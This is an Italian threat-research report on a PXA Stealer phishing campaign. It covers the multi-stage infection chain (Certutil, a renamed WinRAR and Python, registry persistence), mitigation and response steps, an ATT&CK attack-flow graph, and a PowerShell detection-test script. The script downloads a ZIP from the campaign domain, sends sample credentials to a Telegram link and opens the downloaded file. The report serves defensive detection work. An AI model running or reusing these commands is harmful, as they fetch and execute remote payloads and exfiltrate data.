Dal Phishing all’Esfiltrazione: Un’Analisi Approfondita su PXA Stealer

Ruslan Mikhalov Chief of Threat Research at SOC Prime

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Dal Phishing all’Esfiltrazione: Un’Analisi Approfondita su PXA Stealer

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Rapporto
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Riassunto

Il rapporto descrive un forte aumento dell’attività di PXA Stealer che prende di mira le organizzazioni finanziarie all’inizio del 2026. Gli attori delle minacce diffondono archivi ZIP dannosi tramite email di phishing e si affidano a una catena di infezione a più stadi che abusa di strumenti di sistema legittimi e un interprete Python rinominato. Una volta attivo, il malware ruba credenziali del browser, password salvate e dati dei portafogli di criptovaluta, quindi esfiltra le informazioni raccolte tramite Telegram. La campagna evidenzia come gli operatori abbiano adattato il loro modo di agire dopo interruzioni precedenti in altri ecosistemi di infostealer.

Indagine

I ricercatori di CyberProof hanno ricostruito l’intera catena di attacco, a partire da un’email di phishing che consegnava un archivio Pumaproject.zip dannoso e terminando con l’esfiltrazione basata su Telegram. La loro analisi ha identificato l’abuso di Certutil per la decodifica, una copia di WinRAR camuffata come picture.png per l’estrazione, una cartella Dots nascosta e un interprete Python svchost.exe rinominato usato per avviare uno script offuscato legato a un identificatore di bot. La persistenza è mantenuta tramite una voce nel registro di sistema.

Mitigazione

I difensori dovrebbero identificare allegati di archivi sospetti, monitorare l’esecuzione di script e LOLBins noti da percorsi inaspettati, e bloccare il traffico in uscita verso Telegram e TLD insoliti come .shop and .xyz. I team di sicurezza dovrebbero anche rinforzare i gateway di posta elettronica e applicare controlli rigorosi sull’esecuzione di file di Office e contenuti basati su script.

Risposta

Quando viene rilevato PXA Stealer, isolare il dispositivo compromesso, catturare prove volatili e cercare i file artefatti di riferimento e modifiche al registro. Rimuovere i file dannosi, terminare i processi interessati e ripristinare eventuali credenziali esposte. I team dovrebbero quindi eseguire un’indagine più ampia per cercare indicatori corrispondenti nell’ambiente e notificare le parti interessate.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing["Action – T1566.001 Phishing: Spearphishing Attachment Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe."] class action_phishing action file_zip["File – Pumaproject.zip Contains: Document.docx.exe"] class file_zip file action_user_exec["Action – T1204.002 User Execution: Malicious File Description: Victim opens the attached executable."] class action_user_exec action process_malicious_exe["Process – Document.docx.exe"] class process_malicious_exe process action_execution_hijack["Action – T1574 Hijack Execution Flow Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf."] class action_execution_hijack action process_inter_cmd["Process – inter.cmd"] class process_inter_cmd process tool_certutil["Tool – certutil.exe Purpose: Decode base64 content"] class tool_certutil tool file_shodan_pdf["File – Shodan.pdf Contains: Base64 encoded payload"] class file_shodan_pdf file action_defense_embedded["Action – T1027.009 Embedded Payloads Description: Payload hidden inside PDF file."] class action_defense_embedded action action_decode["Action – T1140 Deobfuscate/Decode Files or Information Description: certutil decodes the payload."] class action_decode action action_hidden_dir["Action – T1564.001 Hidden Files and Directories Description: Malware creates hidden folder "Dots" for intermediate files."] class action_hidden_dir action file_hidden_dir["File – Dots (hidden directory)"] class file_hidden_dir file action_relocate["Action – T1070.010 Indicator Removal: Relocate Malware Description: Moves malicious files into hidden "Dots" directory."] class action_relocate action action_compression["Action – T1027.015 Compression Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201)."] class action_compression action tool_winar["Tool – WinRAR (renamed picture.png)"] class tool_winar tool file_archive["File – Password protected archive (shodan2201)"] class file_archive file action_rc_script["Action – T1037.004 RC Scripts Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument."] class action_rc_script action process_svc_host["Process – svchost.exe (malicious Python interpreter)"] class process_svc_host process action_active_setup["Action – T1547.014 Active Setup Description: Registry entry added to run svchost.exe at startup."] class action_active_setup action action_com_hijack["Action – T1546.015 COM Hijacking Description: COM hijacking registry entry created for automatic execution."] class action_com_hijack action action_cred_browser["Action – T1555.003 Credentials from Web Browsers Description: Injects into browsers to steal passwords, cookies, crypto wallet data."] class action_cred_browser action action_cred_cookies["Action – T1539 Steal Web Session Cookie Description: Extracts web session cookies for reuse."] class action_cred_cookies action action_keylogging["Action – T1056.001 Input Capture: Keylogging Description: Captures keystrokes from the user."] class action_keylogging action action_exfil_telegram["Action – T1567 Exfiltration Over Web Service Description: Sends collected data to attacker‑controlled Telegram channels."] class action_exfil_telegram exfil action_exfil_c2["Action – T1041 Exfiltration Over C2 Channel

Flusso di Attacco

Narrativa dell’Attacco e Comandi:
L’attore della minaccia distribuisce il PXA Stealer su un host Windows compromesso. Dopo che l’utente esegue inconsapevolmente il binario dannoso iniziale (T1204.002), lo stealer esegue uno snippet di PowerShell che:
1. Scarica uno ZIP dannoso dal dominio hard-coded downloadtheproject.xyz (T1202 – esecuzione di comando indiretto).
2. Esfiltra i dati raccolti inviando un messaggio a un canale Telegram via t.me (T1559.002 – link di phishing).
3. Carica opzionalmente un componente COM dannoso per ottenere persistenza (T1127.002).
Sia le richieste HTTP GET in uscita sia il DestinationDomain osservati dalla regola Sigma, causano un’allerta.

Script di Test di Regressione:

# Simulazione di PXA Stealer – attiva la regola di rilevamento
$tmpZip = "$env:TEMPpayload.zip"
$tmpMsg = "$env:TEMPsteal.txt"

# 1. Scarica ZIP dannoso dal primo dominio dannoso
Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing

# 2. Simula esfiltrazione dei dati via link Telegram
$payload = "User credentials: admin / Pass123!"
Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII
Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing

# 3. (Opzionale) Carica un oggetto COM fittizio per emulare T1127.002
try {
    $com = New-Object -ComObject "Shell.Application"
    $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null
} catch {
    # Ignora errori – è solo per telemetria
}

Comandi di Pulizia:

# Rimuovi artefatti creati dalla simulazione
Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue
Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue

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